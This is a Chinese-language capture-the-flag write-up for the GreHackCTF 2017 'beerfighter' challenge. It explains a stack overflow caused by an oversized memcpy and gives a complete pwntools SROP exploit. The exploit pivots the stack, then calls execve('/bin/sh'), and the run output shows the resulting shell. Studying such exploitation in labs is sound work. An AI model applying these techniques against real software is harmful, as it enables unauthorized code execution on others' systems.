pwn GreHackCTF2017 beerfighter

一道简单的SROP题,很适合用来练手。本writeup针对不带symbols的程序来讲解。

所有文件下载:http://file.eonew.cn/ctf/pwn/beerfighter.zip

安全防护

ex@Ex:~/test$ checksec beerfighter
[*] '/home/ex/test/beerfighter'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序分析

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[1040]; // [rsp+10h] [rbp-410h]

  qmemcpy(buf, "Newcomer", 0x404uLL);
  show_menu();
  while ( (unsigned int)make_your_choice(buf) )
    ;
  printf("\n");
  return 0;
}

make_your_choice

signed __int64 __fastcall make_your_choice(char *a1)
{
  signed int v1; // eax

  printf(
    "\n"
    "\n"
    "   ~         ~~          __\n"
    "        _T      .,,.    ~--~ ^^\n"
    "  ^^   // \\                    ~\n"
    "       ][O]    ^^      ,-~ ~\n"
    "    /''-I_I         _II____\n"
    " __/_  /   \\ ______/ ''   /'\\_,__\n"
    "   | II--'''' \\,--:--..,_/,.-{ },\n"
    " ; '/__\\,.--';|   |[] .-.| O{ _ }\n"
    " :' |  | []  -|   ''--:.;[,.'\\,/\n"
    " '  |[]|,.--'' '',   ''-,.    |\n"
    "   ..    ..-''    ;       ''. '\n"
    "\n"
    "You are in the village square.\n"
    "In front of you can see the entrance of the local\n"
    "bar from where one could hear laughter and singing.\n"
    "On your\n"
    "left stands is the massive front of the city hall that\n"
    "dominates the village. On your right, in the \n"
    "shadow of the bar, an alley filled with unconscious bodies and\n"
    "empty pints leads to a dark yard where the most\n"
    "valiant barflies of the country can face each other.\n"
    "It's time to choose in which place you will enter !\n"
    "------------\n"
    "\n");
  printf("[0] The bar\n");
  printf("[1] The City Hall\n");
  printf("[2] The dark yard\n");
  printf("[3] Leave the town for ever\n");
  v1 = get_input("Type your action number > ", 0, 3);
  if ( v1 == 1 )
  {
    option_1(a1);
  }
  else if ( v1 > 1 )
  {
    if ( v1 != 2 )
    {
      if ( v1 == 3 )
      {
        printf("By !\n");
        return 0LL;
      }
      goto LABEL_12;
    }
    sub_4006D6("Type your action number > ", 0LL);
  }
  else
  {
    if ( v1 )
    {
LABEL_12:
      printf("Invalid choice\n");
      return 1LL;
    }
    sub_40066C("Type your action number > ", 0LL);
  }
  return 1LL;
}

0选项2选项是没有用的。

option_1

void __fastcall option_1(char *a1)
{
  char buf[2048]; // [rsp+10h] [rbp-810h]
  char option; // [rsp+81Fh] [rbp-1h]

  printf("Welcome ");
  printf(a1);
  printf(
    "! I am the mayor of this small town and my role is to register the names of its citizens.\n"
    "How should I call you?\n");
  printf("[0] Tell him your name\n");
  printf("[1] Leave\n");
  option = get_input("Type your action number > ", 0, 1);
  if ( option )
  {
    if ( option == 1 )
      printf("You just left the old man without even saying \"Good bye\"\n");
    else
      printf("Invalid action\n");
  }
  else
  {
    printf("Type your character name here > ");
    read_n(buf, 2048);
    memcpy(a1, buf, 2048LL);
    printf("\n");
  }
}

漏洞

main函数中的buf仅有1024个字节的大小,但是在option_1函数却有却有2048个字节,然后option_1函数中的memcpy(a1, buf, 2048LL);就会直接造成栈溢出。

这个程序没有动态库:

ex@Ex:~/test$ ldd ./beerfighter 
    not a dynamic executable

所有我们只能手动构造系统调用来拿shell。

思路

  1. SROP栈转移
  2. 读取新栈和/bin/sh
  3. SROP执行shell

要用到的指令

# 0x000000000040077a : pop rax ; ret
pop_rax_ret = 0x000000000040077a
# 0x0000000000400738 : syscall ; ret
syscall_ret = 0x0000000000400738

SROP栈转移

stack_space = 0x200
new_stack_addr = 0x603000 - stack_space

layout1 = [
    'a' * 0x410,
    p64(0), # rbp
    p64(pop_rax_ret),
    p64(constants.SYS_rt_sigreturn),
    p64(syscall_ret),
]

# Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = constants.STDIN_FILENO # fd
frame.rsi = new_stack_addr # buf
frame.rdx = stack_space # nbytes

frame.rsp = new_stack_addr
frame.rip = syscall_ret

payload1 = flat(layout1) + str(frame)

# pause()
sh.sendline(payload1)
sh.sendline('3')
sh.recvuntil('By !\n\n')

转移完栈之后立刻进行SYS_read系统调用。读取我们的新栈。

读取新栈和/bin/sh

layout2 = [
    p64(pop_rax_ret),
    p64(constants.SYS_rt_sigreturn),
    p64(syscall_ret),
]

str_bin_sh_offset = 0x150

# Creating a custom frame
frame2 = SigreturnFrame()
frame2.rax = constants.SYS_execve
frame2.rdi = new_stack_addr + str_bin_sh_offset
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall_ret

payload2 = flat(layout2) + str(frame2)
payload2 = payload2.ljust(str_bin_sh_offset, 'b') + '/bin/sh\x00'

# pause()
sh.sendline(payload2)

sh.interactive()

由于新的栈里面存好了我们的frame2,所以执行完之后程序就会直接SROP,进而拿到shell。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

context.arch = "amd64"
# context.log_level = "debug"
sh = process('./beerfighter')

# 生成调试文件
try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    print(e)

# 0x000000000040077a : pop rax ; ret
pop_rax_ret = 0x000000000040077a
# 0x0000000000400738 : syscall ; ret
syscall_ret = 0x0000000000400738

sh.recvuntil('Type your action number > ')
sh.sendline('1')
sh.recvuntil('Type your action number > ')
sh.sendline('0')
sh.recvuntil('Type your character name here > ')

stack_space = 0x200
new_stack_addr = 0x603000 - stack_space

layout1 = [
    'a' * 0x410,
    p64(0), # rbp
    p64(pop_rax_ret),
    p64(constants.SYS_rt_sigreturn),
    p64(syscall_ret),
]

# Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = constants.STDIN_FILENO # fd
frame.rsi = new_stack_addr # buf
frame.rdx = stack_space # nbytes

frame.rsp = new_stack_addr
frame.rip = syscall_ret

payload1 = flat(layout1) + str(frame)

# pause()
sh.sendline(payload1)
sh.sendline('3')
sh.recvuntil('By !\n\n')

layout2 = [
    p64(pop_rax_ret),
    p64(constants.SYS_rt_sigreturn),
    p64(syscall_ret),
]

str_bin_sh_offset = 0x150

# Creating a custom frame
frame2 = SigreturnFrame()
frame2.rax = constants.SYS_execve
frame2.rdi = new_stack_addr + str_bin_sh_offset
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall_ret

payload2 = flat(layout2) + str(frame2)
payload2 = payload2.ljust(str_bin_sh_offset, 'b') + '/bin/sh\x00'

# pause()
sh.sendline(payload2)

sh.interactive()

# 删除调试文件
os.system("rm -f pid")

运行实例

ex@Ex:~/test$ ./exp.py 
[+] Starting local process './beerfighter': pid 12650
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$  

总结

该题难点其实不在于SROP,而是在于这个是手写的程序,和一般的程序差别很大,而且没有symbols。但是程序流足够简单,分析起来也并不难。